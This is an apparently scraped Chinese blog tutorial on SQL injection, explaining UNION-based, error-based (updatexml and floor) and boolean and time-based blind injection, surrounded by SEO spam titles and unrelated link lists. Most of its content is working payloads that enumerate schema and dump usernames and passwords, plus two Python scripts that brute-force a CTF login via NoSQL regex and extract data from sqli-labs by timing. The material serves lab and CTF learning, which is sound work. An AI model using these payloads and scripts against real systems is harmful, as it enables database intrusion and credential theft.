当前位置: 首页 > wzjs >正文

中国大型网站建设公司百度关键词多少钱一个月

中国大型网站建设公司,百度关键词多少钱一个月,专业上海网站建设,怎么样签约设计网站一、联表查询: 1.1原理: 当payload参数被后端查询语句接收到时,其中的非法语句通过union关联显示出其他的数据 1.2示例: #payload: -1 and union select 1,2,database()--#query: $sqlselect * from users where id-1 and union …

一、联表查询:

        1.1原理:

                当payload参数被后端查询语句接收到时,其中的非法语句通过union关联显示出其他的数据

        1.2示例:

#payload:
-1' and union select 1,2,database()--#query:
$sql=select * from users where id='-1' and union select 1,2,database()--
'

        1.3注意:

                因为union查询要与前面关联的表有相同的列数,所以在查信息时应先用order by查询当前表的列数

二、报错注入:

        2.1原理:

                通过在一些函数(如updatexml(x,y,z))的参数中写注入语句,当数据库识别不了参数中的语句时会将其当做错误输入进行处理,同时这些语句也将被执行并将结果和报错信息一同显示出来

        2.2示例:

                updatexml():


?id=-1' and updatexml(1,(select concat(0x7e,database(),0x7e)),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,32) from information_schema.tables where table_schema='security'),0x7e),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,32) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+?id=-1' or updatexml(1,concat(0x7c,(select substring(group_concat(id,0x7e,username,0x7e,password,0x7e),1,32) from users)),1)--+

                   floor():

?id=-1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select concat(0x7e,id,username,password,0x7e) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

        2.3注意:

                上面只是其中的两个,还有gtid_subset()、extructvalue()等函数也能互相代替,不过各有各的优缺点,比如:

                updatexml():优点简单。缺点mysql高版本不兼容,返回的字符串最大长度为32字节,要用substring或者limit截取输出

                floor():优点兼容高版本。缺点难写,需要组合(count()、rand()、group by())使用

三、盲注:

        3.1布尔盲注:

                3.1.1原理:

                        注入payload后页面只有两种显示,通过页面显示的区别来判断结果的信息

                3.1.2示例(ctf-hackme脚本):

import string
import requestscharacters = string.ascii_letters + string.digits  # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25171/login.php"
for i in range(50):for character in characters:response = requests.post(url=url, data=(payload % (password + character)),headers={"Content-Type": "application/json; charset=UTF-8"})responseContent = response.content.decode()print(f"[+] Trying {character} with response {responseContent}")response.close()if "登录了" in responseContent:password += characterprint(f"[*] Found new character {character} with password now which is {password}")break

        3.2时间盲注:

                3.2.1原理:

                        注入payload后页面没有任何显示,利用sleep等函数来判断结果的信息

                3.2.2示例(sqlilabs/less-9脚本): 

import requests
import timeurl = "http://127.0.0.1/sqli-labs-master/Less-9/"
result = ""for i in range(1, 1000):low = 32high = 128while low < high:mid = (low + high) // 2#par = f"?id=1' and if((ascii(substr((select database()),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='users'),{i},1))>{mid}),sleep(3),0)-- "par = f"?id=1' and if((ascii(substr((select group_concat(username,password) from users),{i},1))>{mid}),sleep(3),0)-- "full_url = url + pars_time = time.time()r = requests.get(full_url)e_time = time.time()if e_time - s_time > 3:low = mid + 1else:high = midif low != 32:result += chr(low)print(f"当前数据: {result}")print("最终数据:",result)

        3.3注意:

                盲注针对的是网页接收到用户传参后没有回显也没有报错的情形,因为没有回显,所以联合注入和报错注入无法使用

                如果页面有一些信息有迹可循的话(例如输入正确的数据和输入错误的数据页面的回显不同)可以使用布尔盲注

                如果页面没有任何数据或图片的回显,那就不能使用布尔盲注只能使用时间盲注

​                且盲注这种方式相对上面的方式是要慢得多的,因为需要一个字符一个字符地进行判断,所以通常结合脚本使用

http://www.dtcms.com/wzjs/10915.html

相关文章:

  • 做网站需要哪些素材网站可以自己建立吗
  • java网站开发视频教程竞价培训课程
  • 音视频娱乐网站开发商百度搜索数据统计
  • 用angular做的网站seo点击排名
  • 国务院政府网站发展建设seo免费资源大全
  • 中国建设银行网站怎么登录不上爱站官网
  • 商城型企业网站的功能宁德市地图
  • 网站建设亿玛酷适合5国内永久免费建站
  • 沧州礼品行业网站设计搜索网站哪个好
  • 合肥网站建设公互联网营销师怎么考
  • 动漫网站怎么做武威网站seo
  • 教育网站设计案例百度收录查询工具
  • 东莞招聘信息最新招聘2022百度seo新算法
  • 深圳做网站建设比较好的公司前端培训
  • 网站付款链接怎么做启动互联全网营销推广
  • 自建站网址推广营销网络
  • 宁波房产信息网官方网站win10系统优化软件
  • logo设计多少钱seo优化搜索推广
  • 怎么把个人做的网站上传到网上附近广告公司
  • 新手去哪个网站做翻译如何在百度投放广告
  • 简述建设一个网站的具体步骤自媒体平台排名前十
  • wordpress博客好吗seo排名软件
  • 天汇大厦网站建设公司百度账户安全中心
  • 服装公司网站网页设计亚马逊关键词排名提升
  • 虎门有没有做网站公司网页链接制作生成
  • 做网上任务赚钱的网站网址注册
  • 网站建设四个步骤泉州百度推广咨询
  • 阿里云做网站号码短视频推广
  • 建设政府网站多少钱国内十大软件培训机构
  • 新洲建设投标网站怎么推广网址